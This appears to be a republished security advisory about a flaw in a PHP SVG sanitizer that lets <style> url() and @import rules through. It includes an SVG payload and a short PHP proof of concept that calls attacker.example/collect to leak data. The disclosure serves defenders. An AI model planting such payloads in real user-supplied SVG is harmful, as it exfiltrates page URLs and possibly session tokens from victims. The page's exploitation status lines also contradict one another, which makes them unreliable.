Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-93vf-569f-22cq
No affected components available
Summary
DOMSanitizer::sanitize() allows <style> elements in SVG content but never inspects their text content. CSS url() references and @import rules pass through unfiltered, causing the browser to issue HTTP requests to attacker-controlled hosts when the sanitized SVG is rendered.
Details
In src/DOMSanitizer.php, 'style' is listed in the SVG allowed-tag array (line 31). The sanitize() method (lines 111–133) removes disallowed tags and strips attributes matching the EXTERNAL_URL pattern — but text node content of <style> elements is never examined. Because CSS rules live in text nodes, EXTERNAL_URL filtering never applies to them.
Vulnerable code (src/DOMSanitizer.php, line 31):
'svg' => ['style', 'path', 'rect', 'circle', ...],
The following payload survives sanitize() intact:
<svg xmlns="http://www.w3.org/2000/svg">
<style>* { background: url(https://attacker.example/collect); }</style>
</svg>
PoC
<?php
require 'vendor/autoload.php';
use Rhukster\DomSanitizer\DOMSanitizer;
$svg = '<svg xmlns="http://www.w3.org/2000/svg"><style>* { background: url(https://attacker.example/collect); }</style></svg>';
$sanitizer = new DOMSanitizer(DOMSanitizer::SVG);
$output = $sanitizer->sanitize($svg);
echo $output; // <style> with url() survives unchanged — confirmed exploitable in Statamic CMS (GHSA-g8hv-8w5p-cvqg)
Render the returned string in a browser. The browser sends a GET request to https://attacker.example/collect.
Impact
Any application that passes user-controlled SVG through DOMSanitizer::sanitize() and renders the output in a browser is vulnerable. An attacker can exfiltrate the page URL to an external server, load arbitrary external stylesheets, and on some browsers leverage CSS attribute selectors + url() to exfiltrate cookie or session token values.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a low impact on the confidentiality of the information.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard